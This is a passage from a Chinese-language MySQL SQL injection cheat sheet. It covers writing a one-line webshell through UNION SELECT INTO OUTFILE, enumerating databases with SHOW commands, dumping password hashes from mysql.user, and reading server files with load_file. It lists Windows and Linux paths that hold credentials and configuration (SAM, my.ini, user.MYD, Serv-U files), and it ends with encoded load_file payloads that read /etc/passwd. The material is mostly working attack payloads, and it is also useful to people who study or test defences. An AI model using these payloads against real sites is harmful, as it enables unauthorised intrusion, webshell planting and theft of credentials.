    handler table_name read index_name [first | next | prev | last];  //在你定位完後還可以繼續使用這個進行偏移
    handler table_name close;  //記得也要關閉handler
    

讀取與寫入

Mysql

x' union select 1,'一句話木馬等等' into output "路徑"

show方式

在mysql中還能夠使用show來獲取資料庫的所有表名、獲取表的所有列名。(當然前提就是你知道資料庫名了才能show表名,同理獲取列名就要給出show的表名)

1. show tables 或 show tables from database_name; -- 顯示當前資料庫中所有表的名稱。 
2. show databases; -- 顯示mysql中所有資料庫的名稱。 
3. show columns from table_name from database_name; 或show columns from database_name.table_name; -- 顯示錶中列名稱。 
4. show grants for user_name; -- 顯示一個使用者的許可權,顯示結果類似於grant 命令。 
5. show index from table_name; -- 顯示錶的索引。 
6. show status; -- 顯示一些系統特定資源的資訊,例如,正在執行的執行緒數量。 
7. show variables; -- 顯示系統變數的名稱和值。 
8. show processlist; -- 顯示系統中正在執行的所有程序,也就是當前正在執行的查詢。大多數使用者可以檢視他們自己的程序,但是如果他們擁有process許可權,就可以檢視所有人的程序,包括密碼。 
9. show table status; -- 顯示當前使用或者指定的database中的每個表的資訊。資訊包括表型別和表的最新更新時間。 
10. show privileges; -- 顯示伺服器所支援的不同許可權。 
11. show create database database_name; -- 顯示create database 語句是否能夠建立指定的資料庫。 
12. show create table table_name; -- 顯示create database 語句是否能夠建立指定的資料庫。 
13. show engines; -- 顯示安裝以後可用的儲存引擎和預設引擎。 
14. show innodb status; -- 顯示innoDB儲存引擎的狀態。 
15. show logs; -- 顯示BDB儲存引擎的日誌。 
16. show warnings; -- 顯示最後一個執行的語句所產生的錯誤、警告和通知。 
17. show errors; -- 只顯示最後一個執行語句所產生的錯誤。 
18. show [storage] engines; --顯示安裝後的可用儲存引擎和預設引擎。

-- 可以透過查詢資料庫儲存路徑和資料庫日誌路徑猜測網站的物理路徑
select @@datadir;
SHOW GLOBAL VARIABLES LIKE '%log%';

讀取資料庫使用者密碼

這個方式不常用,因為很難遇到能夠成功讀取到的。

select * from mysql.user\G;
select * from mysql.user where user='root'\G;

注入讀取常見檔案路徑

在php中能夠透過執行phpinfo函式或者讀取到該檔案就能夠獲取到網站的真實路徑。

select load_file('絕對路徑');

windows

c:/boot.ini //檢視系統版本
c:/windows/php.ini //php配置資訊
c:/windows/my.ini //MYSQL配置檔案,記錄管理員登陸過的MYSQL使用者名稱和密碼
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //儲存了mysql.user表中的資料庫連線密碼
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //儲存了虛擬主機網站路徑和密碼
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 檢視IIS的虛擬主機配置
c:\windows\repair\sam //儲存了WINDOWS系統初次安裝的密碼
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理員密碼儲存於此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif檔案//儲存了pcAnywhere的登陸密碼
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //檢視WINDOWS系統apache檔案
c:/Resin-3.0.14/conf/resin.conf //檢視jsp開發的網站 resin檔案配置資訊.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 檢視linux系統配置的JSP虛擬主機
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系統中的使用者密碼

linux

/usr/local/app/apache2/conf/httpd.conf //apache2預設配置檔案
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設定
/usr/local/app/php5/lib/php.ini //PHP相關設定
/etc/sysconfig/iptables //從中得到防火牆規則策略
/etc/httpd/conf/httpd.conf // apache配置檔案
/etc/rsyncd.conf //同步程式配置檔案
/etc/my.cnf //mysql的配置檔案
/etc/redhat-release //系統版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相關設定
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設定
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 檢視linux APACHE虛擬主機配置檔案
/usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置檔案檢視
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機檢視
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 檢視linux APACHE虛擬主機配置檔案
/usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置檔案檢視
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機檢視
/etc/sysconfig/iptables 檢視防火牆策略
load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

相關文章